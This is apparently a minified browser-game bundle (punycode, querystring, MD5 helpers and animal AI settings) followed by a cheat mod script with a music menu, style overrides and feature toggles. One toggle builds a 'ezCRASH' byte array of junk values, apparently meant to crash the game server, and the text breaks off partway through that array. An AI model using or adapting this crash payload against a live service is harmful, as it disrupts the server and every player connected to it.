return e - 48 < 10 ? e - 22 : e - 65 < 26 ? e - 65 : e - 97 < 26 ?
e - 97 : l
}
function x(e, t) {
return e + 22 + 75 * (e < 26) - ((0 != t) << 5)
}
function S(e, t, n) {
var i = 0;
for (e = n ? p(e / 700) : e >> 1,
e += p(e / t); e > 455; i += l)
e = p(e / 35);
return p(i + 36 * e / (e + 38))
}
function T(e) {
var t, n, i, r, s, a, o, h, u, f, d = [], g = e.length, y = 0, k =
128, v = 72;
for ((n = e.lastIndexOf("-")) < 0 && (n = 0),
i = 0; i < n; ++i)
e.charCodeAt(i) >= 128 && m("not-basic"),
d.push(e.charCodeAt(i));
for (r = n > 0 ? n + 1 : 0; r < g; ) {
for (s = y,
a = 1,
o = l; r >= g && m("invalid-input"),
((h = b(e.charCodeAt(r++))) >= l || h > p((c - y) / a)) &&
m("overflow"),
y += h * a,
!(h < (u = o <= v ? 1 : o >= v + 26 ? 26 : o - v)); o += l)
a > p(c / (f = l - u)) && m("overflow"),
a *= f;
v = S(y - s, t = d.length + 1, 0 == s),
p(y / t) > c - k && m("overflow"),
k += p(y / t),
y %= t,
d.splice(y++, 0, k)
}
return w(d)
}
function I(e) {
var t, n, i, r, s, a, o, h, u, f, d, y, k, w, b, T = [];
for (y = (e = v(e)).length,
t = 128,
n = 0,
s = 72,
a = 0; a < y; ++a)
(d = e[a]) < 128 && T.push(g(d));
for (i = r = T.length,
r && T.push("-"); i < y; ) {
for (o = c,
a = 0; a < y; ++a)
(d = e[a]) >= t && d < o && (o = d);
for (o - t > p((c - n) / (k = i + 1)) && m("overflow"),
n += (o - t) * k,
t = o,
a = 0; a < y; ++a)
if ((d = e[a]) < t && ++n > c && m("overflow"),
d == t) {
for (h = n,
u = l; !(h < (f = u <= s ? 1 : u >= s + 26 ? 26 : u -
s)); u += l)
b = h - f,
w = l - f,
T.push(g(x(f + b % w, 0))),
h = p(b / w);
T.push(g(x(h, 0))),
s = S(n, k, i == r),
n = 0,
++i
}
++n,
++t
}
return T.join("")
}
o = {
version: "1.4.1",
ucs2: {
decode: v,
encode: w
},
decode: T,
encode: I,
toASCII: function(e) {
return k(e, (function(e) {
return u.test(e) ? "xn--" + I(e) : e
}
))
},
toUnicode: function(e) {
return k(e, (function(e) {
return h.test(e) ? T(e.slice(4).toLowerCase()) : e
}
))
}
},
void 0 === (r = function() {
return o
}
.call(t, n, t, e)) || (e.exports = r)
}()
}
).call(this, n(62)(e), n(12))
}
, function(e, t) {
e.exports = function(e) {
return e.webpackPolyfill || (e.deprecate = function() {}
,
e.paths = [],
e.children || (e.children = []),
Object.defineProperty(e, "loaded", {
enumerable: !0,
get: function() {
return e.l
}
}),
Object.defineProperty(e, "id", {
enumerable: !0,
get: function() {
return e.i
}
}),
e.webpackPolyfill = 1),
e
}
}
, function(e, t, n) {
"use strict";
e.exports = {
isString: function(e) {
return "string" == typeof e
},
isObject: function(e) {
return "object" == typeof e && null !== e
},
isNull: function(e) {
return null === e
},
isNullOrUndefined: function(e) {
return null == e
}
}
}
, function(e, t, n) {
"use strict";
t.decode = t.parse = n(65),
t.encode = t.stringify = n(66)
}
, function(e, t, n) {
"use strict";
function i(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
e.exports = function(e, t, n, s) {
t = t || "&",
n = n || "=";
var a = {};
if ("string" != typeof e || 0 === e.length)
return a;
var o = /\+/g;
e = e.split(t);
var c = 1e3;
s && "number" == typeof s.maxKeys && (c = s.maxKeys);
var l = e.length;
c > 0 && l > c && (l = c);
for (var h = 0; h < l; ++h) {
var u, f, d, p, g = e[h].replace(o, "%20"), m = g.indexOf(n);
m >= 0 ? (u = g.substr(0, m),
f = g.substr(m + 1)) : (u = g,
f = ""),
d = decodeURIComponent(u),
p = decodeURIComponent(f),
i(a, d) ? r(a[d]) ? a[d].push(p) : a[d] = [a[d], p] : a[d] = p
}
return a
}
;
var r = Array.isArray || function(e) {
return "[object Array]" === Object.prototype.toString.call(e)
}
}
, function(e, t, n) {
"use strict";
var i = function(e) {
switch (typeof e) {
case "string":
return e;
case "boolean":
return e ? "true" : "false";
case "number":
return isFinite(e) ? e : "";
default:
return ""
}
};
e.exports = function(e, t, n, o) {
return t = t || "&",
n = n || "=",
null === e && (e = void 0),
"object" == typeof e ? s(a(e), (function(a) {
var o = encodeURIComponent(i(a)) + n;
return r(e[a]) ? s(e[a], (function(e) {
return o + encodeURIComponent(i(e))
}
)).join(t) : o + encodeURIComponent(i(e[a]))
}
)).join(t) : o ? encodeURIComponent(i(o)) + n + encodeURIComponent(i(e)) :
""
}
;
var r = Array.isArray || function(e) {
return "[object Array]" === Object.prototype.toString.call(e)
}
;
function s(e, t) {
if (e.map)
return e.map(t);
for (var n = [], i = 0; i < e.length; i++)
n.push(t(e[i], i));
return n
}
var a = Object.keys || function(e) {
var t = [];
for (var n in e)
Object.prototype.hasOwnProperty.call(e, n) && t.push(n);
return t
}
}
, function(e, t, n) {
!function() {
var t = n(68)
, i = n(20).utf8
, r = n(69)
, s = n(20).bin
, a = function(e, n) {
e.constructor == String ? e = n && "binary" === n.encoding ?
s.stringToBytes(e) : i.stringToBytes(e) : r(e) ? e = Array.prototype.slice.call(e,
0) : Array.isArray(e) || (e = e.toString());
for (var o = t.bytesToWords(e), c = 8 * e.length, l = 1732584193, h = -
271733879, u = -1732584194, f = 271733878, d = 0; d < o.length; d++)
o[d] = 16711935 & (o[d] << 8 | o[d] >>> 24) | 4278255360 & (o[d] <<
24 | o[d] >>> 8);
o[c >>> 5] |= 128 << c % 32,
o[14 + (c + 64 >>> 9 << 4)] = c;
var p = a._ff
, g = a._gg
, m = a._hh
, y = a._ii;
for (d = 0; d < o.length; d += 16) {
var k = l
, v = h
, w = u
, b = f;
h = y(h = y(h = y(h = y(h = m(h = m(h = m(h = m(h = g(h = g(h = g(h
= g(h = p(h = p(h = p(h = p(h, u = p(u, f = p(f, l = p(l, h, u, f, o[d + 0], 7, -
680876936), h, u, o[d + 1], 12, -389564586), l, h, o[d + 2], 17, 606105819), f, l,
o[d + 3], 22, -1044525330), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 4], 7, -
176418897), h, u, o[d + 5], 12, 1200080426), l, h, o[d + 6], 17, -1473231341), f,
l, o[d + 7], 22, -45705983), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 8], 7,
1770035416), h, u, o[d + 9], 12, -1958414417), l, h, o[d + 10], 17, -42063), f, l,
o[d + 11], 22, -1990404162), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 12], 7,
1804603682), h, u, o[d + 13], 12, -40341101), l, h, o[d + 14], 17, -1502002290), f,
l, o[d + 15], 22, 1236535329), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 1], 5, -
165796510), h, u, o[d + 6], 9, -1069501632), l, h, o[d + 11], 14, 643717713), f, l,
o[d + 0], 20, -373897302), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 5], 5, -
701558691), h, u, o[d + 10], 9, 38016083), l, h, o[d + 15], 14, -660478335), f, l,
o[d + 4], 20, -405537848), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 9], 5,
568446438), h, u, o[d + 14], 9, -1019803690), l, h, o[d + 3], 14, -187363961), f,
l, o[d + 8], 20, 1163531501), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 13], 5, -
1444681467), h, u, o[d + 2], 9, -51403784), l, h, o[d + 7], 14, 1735328473), f, l,
o[d + 12], 20, -1926607734), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 5], 4, -
378558), h, u, o[d + 8], 11, -2022574463), l, h, o[d + 11], 16, 1839030562), f, l,
o[d + 14], 23, -35309556), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 1], 4, -
1530992060), h, u, o[d + 4], 11, 1272893353), l, h, o[d + 7], 16, -155497632), f,
l, o[d + 10], 23, -1094730640), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 13], 4,
681279174), h, u, o[d + 0], 11, -358537222), l, h, o[d + 3], 16, -722521979), f, l,
o[d + 6], 23, 76029189), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 9], 4, -
640364487), h, u, o[d + 12], 11, -421815835), l, h, o[d + 15], 16, 530742520), f,
l, o[d + 2], 23, -995338651), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 0], 6, -
198630844), h, u, o[d + 7], 10, 1126891415), l, h, o[d + 14], 15, -1416354905), f,
l, o[d + 5], 21, -57434055), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 12], 6,
1700485571), h, u, o[d + 3], 10, -1894986606), l, h, o[d + 10], 15, -1051523), f,
l, o[d + 1], 21, -2054922799), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 8], 6,
1873313359), h, u, o[d + 15], 10, -30611744), l, h, o[d + 6], 15, -1560198380), f,
l, o[d + 13], 21, 1309151649), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 4], 6, -
145523070), h, u, o[d + 11], 10, -1120210379), l, h, o[d + 2], 15, 718787259), f,
l, o[d + 9], 21, -343485551),
l = l + k >>> 0,
h = h + v >>> 0,
u = u + w >>> 0,
f = f + b >>> 0
}
return t.endian([l, h, u, f])
};
a._ff = function(e, t, n, i, r, s, a) {
var o = e + (t & n | ~t & i) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._gg = function(e, t, n, i, r, s, a) {
var o = e + (t & i | n & ~i) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._hh = function(e, t, n, i, r, s, a) {
var o = e + (t ^ n ^ i) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._ii = function(e, t, n, i, r, s, a) {
var o = e + (n ^ (t | ~i)) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._blocksize = 16,
a._digestsize = 16,
e.exports = function(e, n) {
if (null == e)
throw new Error("Illegal argument " + e);
var i = t.wordsToBytes(a(e, n));
return n && n.asBytes ? i : n && n.asString ? s.bytesToString(i) :
t.bytesToHex(i)
}
}()
}
, function(e, t) {
!function() {
var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
, n = {
rotl: function(e, t) {
return e << t | e >>> 32 - t
},
rotr: function(e, t) {
return e << 32 - t | e >>> t
},
endian: function(e) {
if (e.constructor == Number)
return 16711935 & n.rotl(e, 8) | 4278255360 & n.rotl(e, 24);
for (var t = 0; t < e.length; t++)
e[t] = n.endian(e[t]);
return e
},
randomBytes: function(e) {
for (var t = []; e > 0; e--)
t.push(Math.floor(256 * Math.random()));
return t
},
bytesToWords: function(e) {
for (var t = [], n = 0, i = 0; n < e.length; n++,
i += 8)
t[i >>> 5] |= e[n] << 24 - i % 32;
return t
},
wordsToBytes: function(e) {
for (var t = [], n = 0; n < 32 * e.length; n += 8)
t.push(e[n >>> 5] >>> 24 - n % 32 & 255);
return t
},
bytesToHex: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push((e[n] >>> 4).toString(16)),
t.push((15 & e[n]).toString(16));
return t.join("")
},
hexToBytes: function(e) {
for (var t = [], n = 0; n < e.length; n += 2)
t.push(parseInt(e.substr(n, 2), 16));
return t
},
bytesToBase64: function(e) {
for (var n = [], i = 0; i < e.length; i += 3)
for (var r = e[i] << 16 | e[i + 1] << 8 | e[i + 2], s = 0; s <
4; s++)
8 * i + 6 * s <= 8 * e.length ? n.push(t.charAt(r >>> 6 *
(3 - s) & 63)) : n.push("=");
return n.join("")
},
base64ToBytes: function(e) {
e = e.replace(/[^A-Z0-9+\/]/gi, "");
for (var n = [], i = 0, r = 0; i < e.length; r = ++i % 4)
0 != r && n.push((t.indexOf(e.charAt(i - 1)) & Math.pow(2, -2 *
r + 8) - 1) << 2 * r | t.indexOf(e.charAt(i)) >>> 6 - 2 * r);
return n
}
};
e.exports = n
}()
}
, function(e, t) {
function n(e) {
return !!e.constructor && "function" == typeof e.constructor.isBuffer &&
e.constructor.isBuffer(e)
}
/*!
* Determine if an object is a Buffer
*
* @author Feross Aboukhadijeh <https://feross.org>
* @license MIT
*/
e.exports = function(e) {
return null != e && (n(e) || function(e) {
return "function" == typeof e.readFloatLE && "function" == typeof
e.slice && n(e.slice(0, 0))
}(e) || !!e._isBuffer)
}
}
, function(e, t) {
e.exports = function(e, t, n, i, r, s, a, o, c) {
this.aiTypes = [{
id: 0,
src: "cow_1",
killScore: 150,
health: 500,
weightM: .8,
speed: 95e-5,
turnSpeed: .001,
scale: 72,
drop: ["food", 50]
}, {
id: 1,
src: "pig_1",
killScore: 200,
health: 800,
weightM: .6,
speed: 85e-5,
turnSpeed: .001,
scale: 72,
drop: ["food", 80]
}, {
id: 2,
name: "Bull",
src: "bull_2",
hostile: !0,
dmg: 20,
killScore: 1e3,
health: 1800,
weightM: .5,
speed: 94e-5,
turnSpeed: 74e-5,
scale: 78,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 100]
}, {
id: 3,
name: "Bully",
src: "bull_1",
hostile: !0,
dmg: 20,
killScore: 2e3,
health: 2800,
weightM: .45,
speed: .001,
turnSpeed: 8e-4,
scale: 90,
viewRange: 900,
chargePlayer: !0,
drop: ["food", 400]
}, {
id: 4,
name: "Wolf",
src: "wolf_1",
hostile: !0,
dmg: 8,
killScore: 500,
health: 300,
weightM: .45,
speed: .001,
turnSpeed: .002,
scale: 84,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 200]
}, {
id: 5,
name: "Quack",
src: "chicken_1",
dmg: 8,
killScore: 2e3,
noTrap: !0,
health: 300,
weightM: .2,
speed: .0018,
turnSpeed: .006,
scale: 70,
drop: ["food", 100]
}, {
id: 6,
name: "MOOSTAFA",
nameScale: 50,
src: "enemy",
hostile: !0,
dontRun: !0,
fixedSpawn: !0,
spawnDelay: 6e4,
noTrap: !0,
colDmg: 100,
dmg: 40,
killScore: 8e3,
health: 18e3,
weightM: .4,
speed: 7e-4,
turnSpeed: .01,
scale: 80,
spriteMlt: 1.8,
leapForce: .9,
viewRange: 1e3,
hitRange: 210,
hitDelay: 1e3,
chargePlayer: !0,
drop: ["food", 100]
}, {
id: 7,
name: "Treasure",
hostile: !0,
nameScale: 35,
src: "crate_1",
fixedSpawn: !0,
spawnDelay: 12e4,
colDmg: 200,
killScore: 5e3,
health: 2e4,
weightM: .1,
speed: 0,
turnSpeed: 0,
scale: 70,
spriteMlt: 1
}, {
id: 8,
name: "MOOFIE",
src: "wolf_2",
hostile: !0,
fixedSpawn: !0,
dontRun: !0,
hitScare: 4,
spawnDelay: 3e4,
noTrap: !0,
nameScale: 35,
dmg: 10,
colDmg: 100,
killScore: 3e3,
health: 7e3,
weightM: .45,
speed: .0015,
turnSpeed: .002,
scale: 90,
viewRange: 800,
chargePlayer: !0,
drop: ["food", 1e3]
}],
this.spawn = function(l, h, u, f) {
for (var d, p = 0; p < e.length; ++p)
if (!e[p].active) {
d = e[p];
break
}
return d || (d = new t(e.length,r,n,i,a,s,o,c),
e.push(d)),
d.init(l, h, u, f, this.aiTypes[f]),
d
}
}
}
, function(e, t) {
var n = 2 * Math.PI;
e.exports = function(e, t, i, r, s, a, o, c) {
this.sid = e,
this.isAI = !0,
this.nameIndex = s.randInt(0, a.cowNames.length - 1),
this.init = function(e, t, n, i, r) {
this.x = e,
this.y = t,
this.startX = r.fixedSpawn ? e : null,
this.startY = r.fixedSpawn ? t : null,
this.xVel = 0,
this.yVel = 0,
this.zIndex = 0,
this.dir = n,
this.dirPlus = 0,
this.index = i,
this.src = r.src,
r.name && (this.name = r.name),
this.weightM = r.weightM,
this.speed = r.speed,
this.killScore = r.killScore,
this.turnSpeed = r.turnSpeed,
this.scale = r.scale,
this.maxHealth = r.health,
this.leapForce = r.leapForce,
this.health = this.maxHealth,
this.chargePlayer = r.chargePlayer,
this.viewRange = r.viewRange,
this.drop = r.drop,
this.dmg = r.dmg,
this.hostile = r.hostile,
this.dontRun = r.dontRun,
this.hitRange = r.hitRange,
this.hitDelay = r.hitDelay,
this.hitScare = r.hitScare,
this.spriteMlt = r.spriteMlt,
this.nameScale = r.nameScale,
this.colDmg = r.colDmg,
this.noTrap = r.noTrap,
this.spawnDelay = r.spawnDelay,
this.hitWait = 0,
this.waitCount = 1e3,
this.moveCount = 0,
this.targetDir = 0,
this.active = !0,
this.alive = !0,
this.runFrom = null,
this.chargeTarget = null,
this.dmgOverTime = {}
}
;
var l = 0;
this.update = function(e) {
if (this.active) {
if (this.spawnCounter)
return this.spawnCounter -= e,
void (this.spawnCounter <= 0 && (this.spawnCounter = 0,
this.x = this.startX || s.randInt(0, a.mapScale),
this.y = this.startY || s.randInt(0, a.mapScale)));
(l -= e) <= 0 && (this.dmgOverTime.dmg && (this.changeHealth(-
this.dmgOverTime.dmg, this.dmgOverTime.doer),
this.dmgOverTime.time -= 1,
this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)),
l = 1e3);
var r = !1
, o = 1;
if (!this.zIndex && !this.lockMove && this.y >= a.mapScale / 2 -
a.riverWidth / 2 && this.y <= a.mapScale / 2 + a.riverWidth / 2 && (o = .33,
this.xVel += a.waterCurrent * e),
this.lockMove)
this.xVel = 0,
this.yVel = 0;
else if (this.waitCount > 0) {
if (this.waitCount -= e,
this.waitCount <= 0)
if (this.chargePlayer) {
for (var h, u, f, d = 0; d < i.length; ++d)
!i[d].alive || i[d].skin && i[d].skin.bullRepel ||
(f = s.getDistance(this.x, this.y, i[d].x, i[d].y)) <= this.viewRange && (!h || f <
u) && (u = f,
h = i[d]);
h ? (this.chargeTarget = h,
this.moveCount = s.randInt(8e3, 12e3)) :
(this.moveCount = s.randInt(1e3, 2e3),
this.targetDir = s.randFloat(-Math.PI, Math.PI))
} else
this.moveCount = s.randInt(4e3, 1e4),
this.targetDir = s.randFloat(-Math.PI, Math.PI)
} else if (this.moveCount > 0) {
var p = this.speed * o;
if (this.runFrom && this.runFrom.active && (!
this.runFrom.isPlayer || this.runFrom.alive) ? (this.targetDir =
s.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y),
p *= 1.42) : this.chargeTarget && this.chargeTarget.alive &&
(this.targetDir = s.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x,
this.y),
p *= 1.75,
r = !0),
this.hitWait && (p *= .3),
this.dir != this.targetDir) {
this.dir %= n;
var g = (this.dir - this.targetDir + n) % n
, m = Math.min(Math.abs(g - n), g, this.turnSpeed * e)
, y = g - Math.PI >= 0 ? 1 : -1;
this.dir += y * m + n
}
this.dir %= n,
this.xVel += p * e * Math.cos(this.dir),
this.yVel += p * e * Math.sin(this.dir),
this.moveCount -= e,
this.moveCount <= 0 && (this.runFrom = null,
this.chargeTarget = null,
this.waitCount = this.hostile ? 1500 : s.randInt(1500, 6e3))
}
this.zIndex = 0,
this.lockMove = !1;
var k = s.getDistance(0, 0, this.xVel * e, this.yVel * e)
, v = Math.min(4, Math.max(1, Math.round(k / 40)))
, w = 1 / v;
for (d = 0; d < v; ++d) {
this.xVel && (this.x += this.xVel * e * w),
this.yVel && (this.y += this.yVel * e * w),
M = t.getGridArrays(this.x, this.y, this.scale);
for (var b = 0; b < M.length; ++b)
for (var x = 0; x < M[b].length; ++x)
M[b][x].active && t.checkCollision(this, M[b][x], w)
}
var S, T, I, E = !1;
if (this.hitWait > 0 && (this.hitWait -= e,
this.hitWait <= 0)) {
E = !0,
this.hitWait = 0,
this.leapForce && !s.randInt(0, 2) && (this.xVel +=
this.leapForce * Math.cos(this.dir),
this.yVel += this.leapForce * Math.sin(this.dir));
for (var M = t.getGridArrays(this.x, this.y, this.hitRange), A
= 0; A < M.length; ++A)
for (b = 0; b < M[A].length; ++b)
(S = M[A][b]).health && (T = s.getDistance(this.x,
this.y, S.x, S.y)) < S.scale + this.hitRange && (S.changeHealth(5 * -this.dmg) &&
t.disableObj(S),
t.hitObj(S, s.getDirection(this.x, this.y, S.x, S.y)));
for (b = 0; b < i.length; ++b)
i[b].canSee(this) && c.send(i[b].id, "aa", this.sid)
}
if (r || E)
for (d = 0; d < i.length; ++d)
(S = i[d]) && S.alive && (T = s.getDistance(this.x, this.y,
S.x, S.y),
this.hitRange ? !this.hitWait && T <= this.hitRange +
S.scale && (E ? (I = s.getDirection(S.x, S.y, this.x, this.y),
S.changeHealth(-this.dmg),
S.xVel += .6 * Math.cos(I),
S.yVel += .6 * Math.sin(I),
this.runFrom = null,
this.chargeTarget = null,
this.waitCount = 3e3,
this.hitWait = s.randInt(0, 2) ? 0 : 600) : this.hitWait =
this.hitDelay) : T <= this.scale + S.scale && (I = s.getDirection(S.x, S.y, this.x,
this.y),
S.changeHealth(-this.dmg),
S.xVel += .55 * Math.cos(I),
S.yVel += .55 * Math.sin(I)));
this.xVel && (this.xVel *= Math.pow(a.playerDecel, e)),
this.yVel && (this.yVel *= Math.pow(a.playerDecel, e));
var P = this.scale;
this.x - P < 0 ? (this.x = P,
this.xVel = 0) : this.x + P > a.mapScale && (this.x = a.mapScale -
P,
this.xVel = 0),
this.y - P < 0 ? (this.y = P,
this.yVel = 0) : this.y + P > a.mapScale && (this.y = a.mapScale -
P,
this.yVel = 0)
}
}
,
this.canSee = function(e) {
if (!e)
return !1;
if (e.skin && e.skin.invisTimer && e.noMovTimer >= e.skin.invisTimer)
return !1;
var t = Math.abs(e.x - this.x) - e.scale
, n = Math.abs(e.y - this.y) - e.scale;
return t <= a.maxScreenWidth / 2 * 1.3 && n <= a.maxScreenHeight / 2 *
1.3
}
;
var h = 0
, u = 0;
this.animate = function(e) {
this.animTime > 0 && (this.animTime -= e,
this.animTime <= 0 ? (this.animTime = 0,
this.dirPlus = 0,
h = 0,
u = 0) : 0 == u ? (h += e / (this.animSpeed * a.hitReturnRatio),
this.dirPlus = s.lerp(0, this.targetAngle, Math.min(1, h)),
h >= 1 && (h = 1,
u = 1)) : (h -= e / (this.animSpeed * (1 - a.hitReturnRatio)),
this.dirPlus = s.lerp(0, this.targetAngle, Math.max(0, h))))
}
,
this.startAnim = function() {
this.animTime = this.animSpeed = 600,
this.targetAngle = .8 * Math.PI,
h = 0,
u = 0
}
,
this.changeHealth = function(e, t, n) {
if (this.active && (this.health += e,
n && (this.hitScare && !s.randInt(0, this.hitScare) ? (this.runFrom =
n,
this.waitCount = 0,
this.moveCount = 2e3) : this.hostile && this.chargePlayer && n.isPlayer
? (this.chargeTarget = n,
this.waitCount = 0,
this.moveCount = 8e3) : this.dontRun || (this.runFrom = n,
this.waitCount = 0,
this.moveCount = 2e3)),
e < 0 && this.hitRange && s.randInt(0, 1) && (this.hitWait = 500),
t && t.canSee(this) && e < 0 && c.send(t.id, "t", Math.round(this.x),
Math.round(this.y), Math.round(-e), 1),
this.health <= 0 && (this.spawnDelay ? (this.spawnCounter =
this.spawnDelay,
this.x = -1e6,
this.y = -1e6) : (this.x = this.startX || s.randInt(0, a.mapScale),
this.y = this.startY || s.randInt(0, a.mapScale)),
this.health = this.maxHealth,
this.runFrom = null,
t && (o(t, this.killScore),
this.drop))))
for (var i = 0; i < this.drop.length; )
t.addResource(a.resourceTypes.indexOf(this.drop[i]),
this.drop[i + 1]),
i += 2
}
}
}
]);

var musics=[{
name: "Gas Gas Gas - Initial D",
msc:
"https://cdn.discordapp.com/attachments/810727619674505267/839959149101318154/
Manuel-Gas-Gas-Gas-320-kbps.mp3"
}]

let musicmenu = document.createElement('div')


musicmenu.innerHTML="<h1 style='color:#fff;text-shadow:2px 2px 2px
white;margin:10px;font-weight;1000;font-size:23px;'>Music Menu</h1><br>"
/*

copy this

, {
name: "name",
msc: "https://Music.mp3"
}

*/

for(let i=0;i<musics.length;i++){
musicmenu.innerHTML+=`
<h3 style="text-shadow:1px 1px 2px black;margin-top:15px;margin-
left:2.5%">`+musics[i].name+`</h3>
<audio style="width: 90%; margin-left: 2.5%; margin-top:10px;"
src="`+musics[i].msc+`" controls="" loop=""></audio><hr>
`
}
musicmenu.style=`
display:none;
overflow:auto;
position:absolute;
top:50%;
left:50%;
margin-top:-200px;
margin-left:-350px;
z-index:1000000;
border:7px solid red;
width:700px;
height:400px;
border-radius:25px;
background-color: rgb(0,0,0,.4);
`
document.body.prepend(musicmenu)
document.addEventListener("keydown", (e)=>{
if(e.keyCode == 105){
if(musicmenu.style.display=="block"){
musicmenu.style.display="none"
}else{
musicmenu.style.display="block"
}
}
})

var styleItem = document.createElement("style");


styleItem.type = "text/css";
styleItem.appendChild(document.createTextNode(`
.test {
position: absolute;
z-index: 1;
overflow: auto;
position: relative;
height: 510px;
padding: 10px;
font-size: 5px;
z-index: 1;
right: 850px;
top: 80px;
overflow: auto;
height: 100%;
width: 100%;
}

.test {
position: absolute;
z-index: 1;
left: 0;
top: 0;
overflow: auto;
height: 100%;
width: 100%;
}
.indent {
margin-left: 10px;
}

::-webkit-scrollbar {
-webkit-appearance: none;
width: 10px;
}
::-webkit-scrollbar-thumb {
border-radius: 5px;
background-color: rgba(0,0,0,.5);
-webkit-box-shadow: 0 0 1px rgba(255,255,255,.5);
}

#scoreDisplay{
margin-left: 1360.1px;
margin-bottom: 25px;
}

#killCounter{
margin-bottom: 400px;
}

#storeButton{
margin-right: 866px;
margin-top: px;
}

#allianceButton{
margin-right: 925px;
margin-top: 60px;
}

#leaderboard{
margin-right: 1230px;
margin-bottom: 0px;
}

#Body-1{

.fieldset {
background-color: rgb(0,0,0,.3);
}

.legend {
background-color: gray;
color: white;
padding: 5px 10px;
}

.zodmod {
text-shadow: 5px 5px 1px #00ff00, 7px 7px 1px #ff0000;
color: cyan;
font-size: 35px;
wdith: 40px;
padding-left: 24px;
}

`))
document.head.appendChild(styleItem);

document.addEventListener("keydown", function(e) {
if (e.keyCode == 27) {
$('#test').toggle();
ext = !ext;
};
});
document.getElementById('test').style.overflowY='scroll'
var z1 = document.querySelector("#x1")
z1.addEventListener('change', function() {
if (this.checked) {
dashMod = true;
} else {
dashMod = false;
}
})
var n1 = document.querySelector("#yes1")
n1.addEventListener('change', function() {
if (this.checked) {
if(musicmenu.style.display=="block"){
musicmenu.style.display="none"
}else{
musicmenu.style.display="block"
}
} else {
if(musicmenu.style.display=="block"){
musicmenu.style.display="none"
}else{
musicmenu.style.display="block"
}
}
})
var z2 = document.querySelector("#x2")
z2.addEventListener('change', function() {
if (this.checked) {
test = true;
} else {
test = false;
}
})
var z3 = document.querySelector("#x3")
z3.addEventListener('change', function() {
if (this.checked) {
ab = true;
} else {
ab = false;
}
})
var z4 = document.querySelector("#x4")
z4.addEventListener('change', function() {
if (this.checked) {
let ezCRASH = new Uint8Array([135, 102, 37, 116, 94, 162, 44, 210, 28,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999,
1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180,
90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135,
102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388,
39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44,
210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104,
99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113,
180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894,
135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76,
388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94,
162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593,
3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223,
1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958,
10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99,
88, 77, 76, 388, 39952, 478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37,
116, 94, 162, 44, 210, 28, 223, 1, 13, 113, 180, 90, 99, 88, 77, 76, 388, 39952,
478593, 3885, 104, 99999, 1958, 10984, 2894, 135, 102, 37, 116, 94, 162, 44, 210,
